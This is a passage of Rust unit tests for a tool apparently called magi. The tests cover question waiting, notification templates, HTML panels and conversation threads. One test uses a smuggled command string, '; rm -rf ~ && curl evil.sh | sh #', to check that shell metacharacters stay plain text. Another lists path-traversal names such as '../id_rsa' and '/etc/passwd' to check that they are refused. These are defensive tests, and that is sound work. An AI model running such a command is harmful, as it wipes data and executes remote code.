1791
1792 // The owner speaks back during the gap, with nobody running yet.
1793 let id = q.id.clone();
1794 let writer = Questions::at(dir.path().join("questions"));
1795 let mut fresh = writer.get(&id).unwrap();
1796 fresh.say("why not Postgres?").unwrap();
1797 writer.put(&mut fresh).unwrap();
1798
1799 // `magi ask --wait` re-reads the question rather than reusing the
1800 // stale in-memory copy the earlier call held - so the copy handed to
1801 // `resume_wait` here already carries the reply, same as `fresh` above.
1802 let mut resumed = s.get(&id).unwrap();
1803 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
1804 .await
1805 .unwrap();
1806 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
1807 assert_eq!(
1808 resumed.status,
1809 QuestionStatus::Open,
1810 "talking back is not a decision; the question stays open"
1811 );
1812 }
1813
1814 #[tokio::test]
1815 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
1816 // A broken webhook must not throw away an implementation, so the wait
1817 // reports the failure and carries on. `notify` itself still says what
1818 // went wrong, because `magi notify --test` has to be able to show it.
1819 let (dir, s) = store();
1820 let broken = config::Notify {
1821 command: vec![
1822 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
1823 "{summary}".to_owned(),
1824 ],
1825 };
1826 let mut q = choice_question();
1827 assert!(
1828 notify(&broken, &q).await.is_err(),
1829 "the caller is told; it decides that it does not matter"
1830 );
1831
1832 let id = q.id.clone();
1833 let writer = Questions::at(dir.path().join("questions"));
1834 let handle = tokio::spawn(async move {
1835 tokio::time::sleep(Duration::from_millis(30)).await;
1836 let mut fresh = writer.get(&id).unwrap();
1837 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
1838 writer.put(&mut fresh).unwrap();
1839 });
1840 let got = wait_for_owner(
1841 &mut q,
1842 &s,
1843 &broken,
1844 Duration::from_secs(5),
1845 Duration::from_millis(10),
1846 )
1847 .await
1848 .unwrap();
1849 handle.await.unwrap();
1850 assert_eq!(got, Wait::Answered("Redis".to_owned()));
1851
1852 // No command at all is the default, and is silence rather than failure.
1853 assert!(notify(&quiet(), &q).await.is_ok());
1854 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
1855 }
1856
1857 #[test]
1858 fn notification_arguments_are_substituted_and_never_a_shell_string() {
1859 let mut q = choice_question();
1860 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
1861 let template = [
1862 "ntfy".to_owned(),
1863 "publish".to_owned(),
1864 "--click".to_owned(),
1865 "{url}".to_owned(),
1866 "--title".to_owned(),
1867 "magi {run} needs you".to_owned(),
1868 "{summary}".to_owned(),
1869 ];
1870 let argv: Vec<String> = template
1871 .iter()
1872 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
1873 .collect();
1874
1875 assert_eq!(
1876 argv,
1877 [
1878 "ntfy",
1879 "publish",
1880 "--click",
1881 "http://100.64.0.1:7777/#/questions",
1882 "--title",
1883 "magi 20260902-201256-9fb7 needs you",
1884 "; rm -rf ~ && curl evil.sh | sh #",
1885 ],
1886 "the shell metacharacters are one argument's contents, not syntax"
1887 );
1888
1889 // A summary that itself mentions a placeholder is text, not a template:
1890 // one left-to-right pass means a substituted value is never rescanned.
1891 q.summary = "should {url} be configurable?".to_owned();
1892 assert_eq!(
1893 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
1894 "should {url} be configurable?"
1895 );
1896 // An unknown brace is the operator's own text and survives untouched.
1897 assert_eq!(
1898 expand("{title}: {run}", &q.run, &q.summary, ""),
1899 "{title}: 20260902-201256-9fb7"
1900 );
1901 assert_eq!(
1902 expand("no placeholders", &q.run, &q.summary, "http://x"),
1903 "no placeholders"
1904 );
1905 }
1906
1907 #[test]
1908 fn the_notification_link_lands_on_the_view_that_can_answer() {
1909 assert_eq!(
1910 question_url("http://100.64.0.1:7777"),
1911 "http://100.64.0.1:7777/#/questions"
1912 );
1913 assert_eq!(
1914 question_url("http://100.64.0.1:7777/"),
1915 "http://100.64.0.1:7777/#/questions"
1916 );
1917 // An operator who wrote a fragment has said where they want to land.
1918 assert_eq!(
1919 question_url("http://magi.ts.net/#/runs"),
1920 "http://magi.ts.net/#/runs"
1921 );
1922 // Unset expands to nothing rather than to a guessed address.
1923 assert_eq!(question_url(" "), "");
1924 }
1925
1926 /// A question with a fixed id, so a panel's path on disk is predictable.
1927 fn panelled() -> Question {
1928 let mut q = choice_question();
1929 q.id = "20260903-014455-ab12".to_owned();
1930 q
1931 }
1932
1933 #[test]
1934 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
1935 let (dir, s) = store();
1936 let work = dir.path().join("worktree");
1937 std::fs::create_dir_all(&work).unwrap();
1938 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
1939 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
1940
1941 let mut q = panelled();
1942 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
1943 s.put_panel(
1944 &mut q,
1945 html,
1946 &[work.join("table.png"), work.join("diff.svg")],
1947 )
1948 .unwrap();
1949 s.put(&mut q).unwrap();
1950
1951 assert!(q.panel);
1952 assert_eq!(
1953 q.assets,
1954 ["diff.svg", "table.png"],
1955 "sorted, not in the order the agent happened to pass them"
1956 );
1957 assert_eq!(
1958 s.panel_html(&q.id).as_deref(),
1959 Some(html),
1960 "the html is stored byte for byte; the agent authored the markup"
1961 );
1962 assert_eq!(
1963 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
1964 Some(&b"<svg/>"[..])
1965 );
1966
1967 // The record on disk carries the same two fields the front end reads.
1968 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
1969 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
1970 assert_eq!(json["panel"], true);
1971 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
1972 let back = s.get(&q.id).unwrap();
1973 assert!(back.panel);
1974 assert_eq!(back.assets, q.assets);
1975
1976 // The assets were copied, so the panel still renders after `magi fold`
1977 // has deleted the candidate worktree the agent authored it in.
1978 std::fs::remove_dir_all(&work).unwrap();
1979 assert_eq!(
1980 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
1981 Some(&b"\x89PNG"[..]),
1982 "a referenced asset would be gone with the worktree"
1983 );
1984 }
1985
1986 #[test]
1987 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
1988 let (dir, s) = store();
1989 let mut q = panelled();
1990 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
1991 s.put(&mut q).unwrap();
1992
1993 // A file exactly one level up from the panel directory - which is
1994 // where `..` lands - holding content a read would make visible.
1995 let secret = "this must never reach the browser";
1996 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
1997 assert_eq!(
1998 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
1999 secret,
2000 "the traversal is real: the operating system resolves this path \
2001 happily, which is why the name has to be refused before the join"
2002 );
2003
2004 let long = "x".repeat(200);
2005 for name in [
2006 "..",
2007 "../id_rsa",
2008 "..\\id_rsa",
2009 "sub/../id_rsa",
2010 "/",
2011 "\\",
2012 "/etc/passwd",
2013 "C:\\Windows\\win.ini",
2014 "",
2015 ".hidden",
2016 ".",
2017 long.as_str(),
2018 ] {
2019 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2020 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2021 assert!(
2022 e.contains("not a panel file name"),
2023 "`{name}` must be refused as a name, not attempted: {e}"
2024 );
2025 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2026 }
2027 // A name that is allowed still finds its file, so the refusals above
2028 // were the rule at work and not a store that reads nothing.
2029 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2030
2031 // The same rule on the write side, where the name comes from a source
2032 // file's base name, and a refusal leaves the stored panel untouched.
2033 let hidden = dir.path().join(".hidden");
2034 std::fs::write(&hidden, "x").unwrap();
2035 let e = s
2036 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2037 .unwrap_err()
2038 .to_string();
2039 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2040 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2041 assert!(q.assets.is_empty());
2042 }
2043
2044 #[test]
2045 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2046 let (dir, s) = store();
2047 let mut q = panelled();
2048 s.put(&mut q).unwrap();
2049
2050 // Sized rather than filled: the cap reads the file's length, and a
2051 // test that actually produced eight mebibytes would only be slower.
2052 let big = dir.path().join("recording.png");
2053 std::fs::File::create(&big)
2054 .unwrap()
2055 .set_len(PANEL_MAX_BYTES)
2056 .unwrap();
2057
2058 let html = "<p>see the recording</p>";
2059 let total = PANEL_MAX_BYTES + html.len() as u64;
2060 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2061 assert!(
2062 e.contains(&PANEL_MAX_BYTES.to_string()),
2063 "the cap is named so the agent knows the limit: {e}"
2064 );
2065 assert!(
2066 e.contains(&total.to_string()),
2067 "the actual size is named so the agent knows by how much: {e}"
2068 );
2069
2070 assert!(!q.panel);
2071 assert!(q.assets.is_empty());
2072 let left: Vec<String> = std::fs::read_dir(s.root())
2073 .unwrap()
2074 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2075 .collect();
2076 assert_eq!(
2077 left,
2078 [format!("{}.json", q.id)],
2079 "a refused panel leaves neither a directory nor scratch: {left:?}"
2080 );
2081 }
2082
2083 #[test]
2084 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2085 let (dir, s) = store();
2086 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2087 std::fs::create_dir_all(&before).unwrap();
2088 std::fs::create_dir_all(&after).unwrap();
2089 std::fs::write(before.join("diff.png"), "before").unwrap();
2090 std::fs::write(after.join("diff.png"), "after").unwrap();
2091
2092 let mut q = panelled();
2093 let e = s
2094 .put_panel(
2095 &mut q,
2096 "<p>x</p>",
2097 &[before.join("diff.png"), after.join("diff.png")],
2098 )
2099 .unwrap_err()
2100 .to_string();
2101 assert!(e.contains("diff.png"), "{e}");
2102 assert!(
2103 e.contains("before") && e.contains("after"),
2104 "both sources are named, because the fix is to rename one: {e}"
2105 );
2106 assert!(!q.panel);
2107 assert!(!s.panel_dir(&q.id).exists());
2108 }
2109
2110 #[test]
2111 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2112 let (dir, s) = store();
2113 std::fs::write(dir.path().join("old.png"), "old").unwrap();
2114 std::fs::write(dir.path().join("new.png"), "new").unwrap();
2115
2116 let mut q = panelled();
2117 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2118 .unwrap();
2119 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2120 .unwrap();
2121
2122 assert_eq!(q.assets, ["new.png"]);
2123 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2124 assert!(
2125 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2126 "an asset from the first attempt would show a mix of two answers"
2127 );
2128
2129 s.drop_panel(&q.id).unwrap();
2130 assert!(s.panel_html(&q.id).is_none());
2131 assert!(!s.panel_dir(&q.id).exists());
2132 s.drop_panel(&q.id)
2133 .expect("dropping a panel that is already gone is the desired state");
2134 }
2135
2136 #[test]
2137 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2138 let (_dir, s) = store();
2139 let mut q = panelled();
2140 s.put(&mut q).unwrap();
2141
2142 assert!(!q.panel);
2143 assert!(s.panel_html(&q.id).is_none());
2144 assert!(
2145 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2146 "a missing file is a 404 for the caller, not a failure of the store"
2147 );
2148 let json = serde_json::to_value(&q).unwrap();
2149 assert_eq!(json["panel"], false);
2150 assert_eq!(json["assets"], serde_json::json!([]));
2151
2152 // And an empty panel is refused, because an empty frame reads to the
2153 // owner as "the agent had nothing to say".
2154 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
2155 assert!(e.contains("empty panel"), "{e}");
2156 assert!(!s.panel_dir(&q.id).exists());
2157 }
2158
2159 #[test]
2160 fn a_question_written_before_panels_existed_still_deserialises() {
2161 let (_dir, s) = store();
2162 std::fs::create_dir_all(s.root()).unwrap();
2163 let id = "20260902-231501-ab12";
2164 // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2165 let body = r#"{
2166 "schema": 1,
2167 "id": "20260902-231501-ab12",
2168 "run": "20260902-201256-9fb7",
2169 "node": "implement",
2170 "seat": "impl-A",
2171 "summary": "Which storage backend should the cache use?",
2172 "detail": "Both are already dependencies.",
2173 "choices": ["SQLite", "Redis"],
2174 "status": "open",
2175 "asked_at": "2026-09-02T23:15:01Z",
2176 "answered_at": null,
2177 "answer": null
2178}"#;
2179 std::fs::write(s.path_of(id), body).unwrap();
2180
2181 let q = s.get(id).unwrap();
2182 assert!(
2183 !q.panel,
2184 "an absent field means no panel, not a parse error"
2185 );
2186 assert!(q.assets.is_empty());
2187 // Schema 1 predates `thread` entirely - not merely predates it having
2188 // any turns - and this build now speaks schema 3. Reading it must not
2189 // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2190 // accepted and the missing field defaults to no conversation yet.
2191 assert_eq!(q.schema, 1);
2192 assert!(q.thread.is_empty());
2193 assert_eq!(
2194 q.answer_timeout, 0,
2195 "an absent field means unrecorded, not a zero-second deadline"
2196 );
2197 assert!(!q.waiting_on_agent());
2198 assert_eq!(q.summary, "Which storage backend should the cache use?");
2199 assert_eq!(
2200 s.list().len(),
2201 1,
2202 "and it is still listed; skipping it would hide an open question"
2203 );
2204 }
2205
2206 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2207 Turn {
2208 who,
2209 body: body.to_owned(),
2210 at,
2211 }
2212 }
2213
2214 #[test]
2215 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2216 // The phone reads this shape by hand, same as the question itself: a
2217 // rename here is a card that silently drops every message in it.
2218 let mut q = choice_question();
2219 q.thread
2220 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2221 let value = serde_json::to_value(&q.thread[0]).unwrap();
2222 let mut keys: Vec<&str> = value
2223 .as_object()
2224 .unwrap()
2225 .keys()
2226 .map(String::as_str)
2227 .collect();
2228 keys.sort_unstable();
2229 assert_eq!(keys, ["at", "body", "who"]);
2230 assert_eq!(value["who"], "operator");
2231 assert_eq!(value["body"], "why not Postgres?");
2232
2233 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2234 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2235 assert_eq!(parsed.who, Who::Agent);
2236 }
2237
2238 #[test]
2239 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
2240 let mut q = choice_question();
2241 q.say("does the cache need eviction?").unwrap();
2242 assert_eq!(q.thread.len(), 1);
2243 assert_eq!(q.thread[0].who, Who::Operator);
2244 assert_eq!(q.thread[0].body, "does the cache need eviction?");
2245 // Speaking is not deciding: the status and the answer are untouched,
2246 // which is the whole point of the round trip existing at all.
2247 assert_eq!(q.status, QuestionStatus::Open);
2248 assert!(q.answer.is_none());
2249 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
2250 }
2251
2252 #[test]
2253 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
2254 let mut answered = choice_question();
2255 answered
2256 .answer(Answer::Choice("SQLite".to_owned()))
2257 .unwrap();
2258 let a = answered.say("still there?").unwrap_err().to_string();
2259 assert!(a.contains("already answered"), "{a}");
2260 let b = answered
2261 .reply("still there?", vec![])
2262 .unwrap_err()
2263 .to_string();
2264 assert!(b.contains("already answered"), "{b}");
2265
2266 let mut abandoned = choice_question();
2267 abandoned.abandon("timed out");
2268 let c = abandoned.say("hello?").unwrap_err().to_string();
2269 assert!(c.contains("abandoned"), "{c}");
2270
2271 let mut open = choice_question();
2272 let d = open.say(" ").unwrap_err().to_string();
2273 assert!(d.contains("empty"), "{d}");
2274 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
2275 assert!(e.contains("empty"), "{e}");
2276 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
2277 }
2278
2279 #[test]
2280 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
2281 let mut q = choice_question();
2282 q.say("SQLite or Redis, but what about disk space?")
2283 .unwrap();
2284 assert!(q.waiting_on_agent());
2285
2286 q.reply(
2287 "SQLite: it is one file, no server to run.",
2288 vec!["SQLite".to_owned()],
2289 )
2290 .unwrap();
2291
2292 assert_eq!(q.choices, ["SQLite"]);
2293 assert!(
2294 !q.waiting_on_agent(),
2295 "the agent spoke, so the owner is the one being waited on now"
2296 );
2297 assert_eq!(q.thread.len(), 2);
2298 assert_eq!(q.thread[1].who, Who::Agent);
2299
2300 // The new choice set is what a subsequent answer is checked against.
2301 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
2302 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2303 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
2304 }
2305
2306 #[test]
2307 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
2308 let mut fresh = choice_question();
2309 assert!(
2310 fresh.should_notify(Timestamp::now()),
2311 "nobody has been notified yet, so the first ask always pages"
2312 );
2313
2314 fresh.say("why not Postgres?").unwrap();
2315 let just_said = fresh.thread[0].at;
2316 assert!(
2317 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
2318 "still on the screen a minute later; no need to page again"
2319 );
2320 assert!(
2321 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
2322 "exactly the window: `>` means this side stays quiet"
2323 );
2324 assert!(
2325 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
2326 "past the window: they may have walked away"
2327 );
2328 }
2329
2330 #[test]
2331 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
2332 let (_dir, s) = store();
2333 let mut q = choice_question();
2334 s.put(&mut q).unwrap();
2335 q.say("why not Postgres?").unwrap();
2336 s.put(&mut q).unwrap();
2337 q.reply("no server to run", vec!["SQLite".to_owned()])
2338 .unwrap();
2339 s.put(&mut q).unwrap();
2340
2341 assert_eq!(
2342 s.count_open(),
2343 1,
2344 "one question that talked twice is still one open question"
2345 );
2346 assert_eq!(s.open_for(&q.run).len(), 1);
2347 }
2348
2349 #[tokio::test]
2350 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
2351 let (dir, s) = store();
2352 let mut q = choice_question();
2353 let id = q.id.clone();
2354 let writer = Questions::at(dir.path().join("questions"));
2355 let handle = tokio::spawn(async move {
2356 tokio::time::sleep(Duration::from_millis(30)).await;
2357 let mut fresh = writer.get(&id).expect("the question was filed first");
2358 fresh.say("why not Postgres?").unwrap();
2359 writer.put(&mut fresh).unwrap();
2360 });
2361
2362 let got = wait_for_owner(
2363 &mut q,
2364 &s,
2365 &quiet(),
2366 Duration::from_secs(5),
2367 Duration::from_millis(10),
2368 )
2369 .await
2370 .unwrap();
2371
2372 handle.await.unwrap();
2373 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
2374 assert_eq!(
2375 q.status,
2376 QuestionStatus::Open,
2377 "talking back is not a decision; the question stays open"
2378 );
2379 assert!(q.answer.is_none());
2380 }
2381}